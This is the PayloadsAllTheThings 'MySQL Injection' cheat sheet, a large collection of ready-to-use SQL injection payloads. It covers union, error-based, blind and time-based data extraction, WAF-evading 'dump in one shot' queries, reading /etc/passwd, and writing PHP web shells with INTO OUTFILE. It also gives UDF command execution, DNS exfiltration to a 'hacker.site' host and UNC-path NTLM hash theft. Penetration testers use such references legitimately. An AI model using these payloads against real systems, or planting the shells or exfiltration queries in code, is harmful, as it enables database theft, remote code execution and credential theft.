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PayloadsAllTheThings/SQL Injection/MySQL Injection.md
nizam0906 5b59da70f7
Update MySQL Injection.md 
Added 6 MYSQL DIOS
* Zen
* Zen WAF
* ~tr0jAn WAF
* ~tr0jAn Benchmark
* N1Z4M
* sharik
2019-10-25 18:11:11 +05:30

399 lines
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# MYSQL Injection
## Summary
* [MYSQL Comment](#mysql-comment)
* [Detect columns number](#detect-columns-number)
* [MYSQL Union Based](#mysql-union-based)
* [Extract database with information_schema](#extract-database-with-information-schema)
* [Extract data without information_schema](#extract-data-without-information-schema)
* [Extract data without columns name](#extract-data-without-columns-name)
* [MYSQL Error Based](#mysql-error-based)
* [MYSQL Error Based - Basic](#mysql-error-based---basic)
* [MYSQL Error Based - UpdateXML function](#mysql-error-based---updatexml-function)
* [MYSQL Error Based - Extractvalue function](#mysql-error-based---extractvalue-function)
* [MYSQL Blind](#mysql-blind)
* [MYSQL Blind with substring equivalent](#mysql-blind-with-substring-equivalent)
* [MYSQL Blind using a conditional statement](#mysql-blind-using-a-conditional-statement)
* [MYSQL Blind with MAKE_SET](#mysql-blind-with-make-set)
* [MYSQL Blind with LIKE](#mysql-blind-with-like)
* [MYSQL Time Based](#mysql-time-based)
* [Using SLEEP in a subselect](#using-asleep-in-a-subselect)
* [Using conditional statements](#using-conditional-statements)
* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot)
* [MYSQL Current queries](#mysql-current-queries)
* [MYSQL Read content of a file](#mysql-read-content-of-a-file)
* [MYSQL Write a shell](#mysql-write-a-shell)
* [Into outfile method](#into-outfile-method)
* [Into dumpfile method](#into-dumpfile-method)
* [MYSQL UDF command execution](#mysql-udf-command-execution)
* [MYSQL Truncation](#mysql-truncation)
* [MYSQL Out of band](#mysql-out-of-band)
* [DNS exfiltration](#dns-exfiltration)
* [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing)
* [References](#references)
## MYSQL comment
```sql
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MYSQL version 3.23.02
```
## MYSQL Union Based
### Extract database with information_schema
First you need to know the number of columns, you can use `order by`.
```sql
order by 1
order by 2
order by 3
...
order by XXX
```
Then the following codes will extract the databases'name, tables'name, columns'name.
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
### Extract columns name without information_schema
Method for `MySQL >= 4.1`.
First extract the column number with
```sql
?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)
```
Then extract the column name.
```sql
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null
```
Method for `MySQL 5`
```sql
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...
```
### Extract data without columns name
Extracting data from the 4th column without knowing its name.
```sql
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
```
Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`
```sql
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+
```
## MYSQL Error Based
### MYSQL Error Based - Basic
Works with `MySQL >= 4.1`
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
```
### MYSQL Error Based - UpdateXML function
```sql
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
```
Shorter to read:
```sql
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
```
### MYSQL Error Based - Extractvalue function
Works with `MySQL >= 5.1`
```sql
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
```
## MYSQL Blind
### MYSQL Blind with substring equivalent
```sql
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
```
### MYSQL Blind using a conditional statement
TRUE: `if @@version starts with a 5`:
```sql
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
```
False: `if @@version starts with a 4`:
```sql
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
```
### MYSQL Blind with MAKE_SET
```sql
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
```
### MYSQL Blind with LIKE
['_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing
```sql
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
```
## MYSQL Time Based
The following SQL codes will delay the output from MySQL.
```sql
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
```
### Using SLEEP in a subselect
```powershell
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
```
### Using conditional statements
```sql
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
```
## MYSQL DIOS - Dump in One Shot
```sql
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
-- SecurityIdiots
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
-- Profexer
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
-- Dr.Z3r0
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))
-- M@dBl00d
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
-- Zen
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)
-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+
-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+
-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+
-- sharik
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
```
## MYSQL Current queries
This table can list all operations that DB is performing at the moment.
```sql
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #
-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
```
## MYSQL Read content of a file
Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
```sql
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
```
If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query
```sql
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
```
## MYSQL Write a shell
### Into outfile method
```sql
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
```
### Into dumpfile method
```sql
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
```
## MYSQL Truncation
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
```sql
`username` varchar(20) not null
```
Payload: `username = "admin a"`
## MYSQL UDF command execution
First you need to check if the UDF are installed on the server.
```powershell
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
```
Then you can use functions such as `sys_exec` and `sys_eval`.
```sql
$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
```
## MYSQL Out of band
```powershell
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
```
### DNS exfiltration
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
```
### UNC Path - NTLM hash stealing
```sql
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
```
## References
- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)
- [Help по MySql инъекциям - rdot.org](https://rdot.org/forum/showpost.php?p=114&postcount=1)
- [SQL Truncation Attack - Warlock](https://resources.infosecinstitute.com/sql-truncation-attack/)
- [HackerOne @ajxchapman 50m-ctf writeup - Alex Chapman @ajxchapman](https://hackerone.com/reports/508123)
- [SQL Wiki - netspi](https://sqlwiki.netspi.com/injectionTypes/errorBased)
- [ekoparty web_100 - 2016/10/26 - p4-team](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100)
- [Websec - MySQL - Roberto Salgado - May 29, 2013.](https://websec.ca/kb/sql_injection#MySQL_Default_Databases)
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